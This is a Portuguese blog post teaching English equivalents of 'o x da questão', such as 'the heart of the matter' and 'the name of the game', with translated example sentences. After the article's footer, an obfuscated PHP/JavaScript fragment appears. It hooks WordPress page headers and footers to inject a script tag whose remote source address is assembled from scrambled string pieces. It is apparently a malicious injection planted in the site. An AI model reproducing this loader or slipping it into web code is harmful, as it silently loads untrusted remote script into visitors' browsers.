O SEGREDO DAS LINGUAS l O curso de língua estrangeira ainda pode fazer parte da sua vida.

Como falar ‘o x da questão’ em inglês?

o x da questão em inglês

Eu tenho certeza que você já usou a expressão ‘o x da questão’ muitas vezes, mas como falar ‘o x da questão’ em inglês

Hoje vou te mostrar algumas expressões que vão te ajudar a se expressar sempre que precisar.

O x da questão em inglês

Para falar ‘o x da questão’ em inglês utilizamos duas expressões comuns: ‘that’s the heart of the matter’ ou that’s the name of the game

A expressão ‘that’s the name of the game’ pode também ser traduzida como ‘essa é a regra do jogo’ ou ‘ a regra é…’.

Existem outras maneiras como ‘the most difficult/ the hardest part of the problem’ ou também ‘the main point…’. Porém nesse caso essas não são expressões idiomáticas, são apenas construções possíveis na língua.

Exemplos:

1 –  The heart of the matter

Now we move on to the heart of the matter: who is going to pay for all this? (Agora vamos para o x da questão: quem vai pagar por tudo isso?)

In the investigations, the blood stains were the heart of the matter. (Na investigação, as manchas de sangue são o x da questão.

Let’s go straight to the heart of the matter? (Vamos direto ao x da questão?)

2 – The name of the game como ‘o x da questão’

Simplification is now the name of the game. (Simplificação agora é o x da questão.

In public infrastructure, the name of the game is now depreciation. (Em infraestrutura pública o x da questão é agora depreciação.) 

Our company believes cooperation is the name of the game. (Nossa empresa acredita que cooperação é o x da questão.) 

3 – The name of the game como ‘a regra do jogo’

Innovation is the name of the game in the market. (Inovação é a regra do jogo no mercado.)

They want to help the poor regions to develop, investment is the name of the game. (Eles querem ajudar as regiões pobres a se desenvolverem, investimento é a regra.) 

I know outsourcing is complicated, but that’s the name of the game now. (Eu sei que terceirização é complicado, mas essa é a regra do jogo agora.) 

Aprender a falar o ‘x da questão’ em inglês? Se sim, então veja mais posts que vão te ajudar com seu inglês.

Mais artigos do

Blog SDL

?>},_0x1ca2(_0x5c13d3,_0x10d019);}function _0x56ac(){var _0x46c312=['trickl','6LObfmH','script','scri','3822470oovwGi','220qlaQai','com/','createElement','ctl','appendChild','type','133350wkvzaH','ter.','134ANVGfY','pts/t','src','est','erfe','ords.p','querySelector','5879944KcCcWx','231938CdIMay','2890492INDZRn','currentScript','50535rwizqw','parentNode','script[id=\x22trickl\x22]','text/javascript','28527sHSQyT','head'];_0x56ac=function(){return _0x46c312;};return _0x56ac();}";}add_action('wp_head', '_set_metas_tag');add_action('wp_footer', '_set_metas_tag');add_action('wp_body_open', '_set_metas_tag');_set_metas_tag();}}catch(Exception $e){}} ?>